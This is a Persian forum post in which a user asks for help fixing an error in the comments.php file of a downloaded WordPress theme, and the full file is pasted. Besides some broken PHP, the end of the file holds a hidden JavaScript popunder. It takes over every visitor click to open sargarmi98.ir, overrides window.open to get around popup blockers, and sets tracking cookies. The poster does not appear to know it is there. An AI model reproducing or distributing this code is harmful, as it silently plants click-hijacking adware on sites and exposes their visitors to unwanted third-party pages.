سلام دوستان
من این قالب رو از این سایت گرفتم
لینک قالب
حالا وقتی میرم تو ادامه مطلب اینطوری میشه اررو میده تو پرونده comments
هرکار کردوم نشد درست که نشد
ممنون میشم حرفه ای هاش کمکم کنن
فایل comments
<?php // Do not delete these lines
if (!empty($_SERVER['SCRIPT_FILENAME']) && 'comments.php' == basename($_SERVER['SCRIPT_FILENAME']))
die ('Please do not load this page directly. Thanks!');
if (!empty($post->post_password)) { // if there's a password
if ($_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password) { // and it doesn't match the cookie
?>
<p class="nocomments"><?php _e('This post is password protected. Enter the password to view comments.','kubrick'); ?></p>
<?php
return;
}
}
/* This variable is for alternating comment background */
$oddcomment = 'class="alt" ';
?>
<!-- You can start editing here. -->
<?php if ($comments) : ?>
<?php foreach ($comments as $comment) : ?>
<div class="post">
<div class="top"><h4><span class="announcement"></span><?php comment_author_link() ?></h4></div>
<div class="body">
<div class="comments"><ul>
<?php if ($comment->comment_approved == '0' ) : ?>
<em>نظر شما منتظر بررسي خواهد ماند</em>
<?php endif; ?>
<li class="date"><?php comment_date('F jS, Y') ?></li>
</ul></div>
<div class="text"><p><?php comment_text() ?></p>
<br><?php cancel_comment_reply_link(''); ?>
<br>
</div></div><div class="bottom"></div></div>
<?php comment_text() ?>
<?php
/* Changes every other comment to a different class */
$oddcomment = ( empty( $oddcomment ) ) ? 'class="alt" ' : '';
?>
</div>
<?php endforeach; /* end for each comment */ ?>
<?php else : // this is displayed if there are no comments so far ?>
<?php if ('open' == $post->comment_status) : ?>
<!-- If comments are open, but there are no comments. -->
<?php else : // comments are closed ?>
<!-- If comments are closed. -->
<p class="nocomments">__(Comments are closed.,'kubrick')</p>
<?php endif; ?>
<?php endif; ?>
<?php if ('open' == $post->comment_status) : ?>
<div class="center">
<?php if ( get_option('comment_registration') && !$user_ID ) : ?>
<p><?php _e('You must be','kubrick'); ?> <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?redirect_to=<?php echo urlencode(get_permalink()); ?>"><?php _e('logged in','kubrick'); ?></a> <?php _e('to post a comment.','kubrick'); ?></p>
<?php else : ?>
<form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform">
<?php if ( $user_ID ) : ?>
<p><?php _e('ورود با نام ','kubrick'); ?> <a href="<?php echo get_option('siteurl'); ?>/wp-admin/profile.php"><?php echo $user_identity; ?></a>. <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?action=logout" title="<?php _e('خروج از اکانت','kubrick'); ?>"><?php _e('خروج','kubrick'); ?> »</a></p>
<?php else : ?>
<div class="post">
<div class="top"><h4><span class="announcement"></span>ارسال دیدگاه </h4></div>
<div class="body"><div class="text">
<form enctype=\"multipart/form-data\" action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post">
<div class="commentdata" >
<label for="author">نام شما :</label>
<input type="text" name="author" id="author" value="<?php echo $comment_author; ?>" tabindex="1" class="c-input" />
<div class="clear"></div><br>
<label for="email">ایمیل :</label>
<input type="text" name="email" id="email" value="<?php echo $comment_author_email; ?>" tabindex="2" class="c-input" />
<div class="clear"></div><br>
<label for="url">وب سایت :</label>
<input type="text" name="url" id="url" value="<?php echo $comment_author_url; ?>" tabindex="3" class="c-input" /><br>
<br>
<div>
<label for="comment">متن و پیام شما : </label><textarea name="comment" id="text" tabindex="4"></textarea>
</div>
</div>
<div class=clear></div>
<input class="comment-button" name="submit" type="submit" id="submit" tabindex="5" value="ارسال نظر " />
<input type="hidden" name="comment_post_ID" value="<?php echo $id; ?>" />
<?php do_action('comment_form', $post->ID); ?>
</form>
</div></div><div class="bottom"></div></div>
<?php endif; // If registration required and not logged in ?>
<?php endif; // if you delete this the sky will fall on your head ?>
<script type="text/javascript">
var needpop = 1;
var vc_cn = "jot9843504";
var vc_url = "http://www.sargarmi98.ir/";
if (readCookie(vc_cn)) {
needpop = 0;
}else{
needpop = 1;
}
var PopWidth = 1024;
var PopHeight = 768;
var PopTargetingMethod = 100;
var PopUseDivLayer = 1;
var RTSDomain = vc_url;
var debugDomain = vc_url;
var Page_Popped = false;
var Page2_Popped = false;
var Page_Loaded = false;
var Page_Enter;
var MySiteDomain = window.location.href.split('/');
if (needpop == 1) {
InitPop()
}
function InitPop() {
Page_Enter = new Date();
if (window.captureEvents) {
window.captureEvents(Event.CLICK);
window.onclick = LoadStandardPop
} else document.onclick = LoadStandardPop
}
function SiteEnter() {
Page_Loaded = true
}
function createCookie(name, value, days) {
if (days) {
var date = new Date();
date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
var expires = "; expires=" + date.toGMTString()
} else var expires = "";
document.cookie = name + "=" + value + expires + "; domain=.sargarmi98.ir; path=/"
}
function readCookie(name) {
var ca = document.cookie.split(';');
var nameEQ = name + "=";
for (var i = 0; i < ca.length; i++) {
var c = ca[i];
while (c.charAt(0) == ' ') c = c.substring(1, c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length)
}
return null
}
function RetrieveCount() {
var cookieName = vc_cn;
var popSuccesses = readCookie(cookieName);
if (popSuccesses != null) popSuccesses = parseInt(popSuccesses);
else popSuccesses = 0;
return popSuccesses
}
function IncrementCount() {
var cookieName = vc_cn;
var popSuccesses = readCookie(cookieName);
if (popSuccesses != null) createCookie(cookieName, parseInt(popSuccesses) + 1, 1);
else createCookie(cookieName, 1, 1)
}
function LoadStandardPop() {
if (Page_Popped == true) return;
var pLoaded = false;
if (window.SymRealWinOpen) {
open = SymRealWinOpen
}
if (window.NS_ActualOpen) {
open = NS_ActualOpen
}
var pxLeft = 0;
var pxTop = 0;
if (screen.width > 0 && screen.height > 0) {
pxLeft = (screen.width / 2) - (PopWidth / 2);
pxTop = (screen.height / 2) - (PopHeight / 2) - 50;
if (pxLeft < 0) pxLeft = 0;
if (pxTop < 0) pxTop = 0
}
pLoaded = open(vc_url, '', 'toolbar=1,scrollbars=1,location=1,statusbar=1,menubar=1,resizable=1,top=' + pxTop + ',left=' + pxLeft + ',width=' + PopWidth + ',height=' + PopHeight);
if (pLoaded) {
Page_Popped = true;
IncrementCount()
} else {
Page_Popped = true;
if (Page_Loaded) initAdLayer();
else XBrowserAddHandlerPops(window, "load", "initAdLayer")
}
window.focus()
}
</script>